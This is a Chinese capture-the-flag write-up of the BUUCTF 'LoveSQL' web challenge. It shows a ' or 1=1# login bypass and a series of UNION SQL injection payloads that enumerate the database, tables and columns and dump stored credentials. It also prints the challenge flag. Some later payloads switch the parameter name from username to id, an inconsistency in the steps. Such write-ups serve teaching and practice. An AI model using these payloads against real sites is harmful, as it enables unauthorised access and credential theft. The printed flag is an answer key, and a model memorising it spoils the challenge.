[极客大挑战 2019]LoveSQL
[极客大挑战 2019]LoveSQL
题目来源:buuctf
题目类型:web
涉及考点:SQL注入
1. 题目页面给了两个输入框
与之前相同,我们先随便输入数进去,获得回显页面:
我们直接使用万能密码登录:
只需用户名输入
1' or 1=1#
即可原因是:
当用户名输入1,密码输入1' 时,发生报错
当用户名输入1'#,密码输入1' 时,不发生报错
因此密码输入部分相当于被注释掉了,随便输入什么都行
于是我们得到以下回显:
登陆成功,获得了密码的md5加密
2. 尝试解密无果,我们把重点回到注入上
- 注意,我们需要将构造的payload进行url编码后再进行传入,后续我们在check.php中传入参数:
- 先尝试一下union注入,即
?username=1' union select database()#&password=1
- 发现union注入是可行的,那么接下来就是union注入的一般过程
3. union联合注入
注意,以下给的payload不是url编码,需要自行转换
有关SQL注入的具体知识点请查看SQL注入
- 判断字段数
?username=1' group by 3#&password=1
回显页面还是check.php,我们再尝试:
?username=1' group by 4#&password=1
报错了,因此判断字段数为3
- 判断注入点
?username=1' union select 1,2,3#&password=1
很明显回显位是 2 和 3 了
- 爆库名
?username=1' union select 1,2,database()#&password=1
- 爆表名
?id=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#&password=1
直觉判断flag应该在第二个表中,先去查看第二个表
- 爆列名
?id=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#&password=1
- 获取表中数据
?id=1' union select 1,2,group_concat(username,'~',password) from l0ve1ysq1#&password=1
最终获取flag:
flag{6a1ae218-4095-408b-b097-3f6ea47beab6}
日期:2023.7.21
作者:y0Zero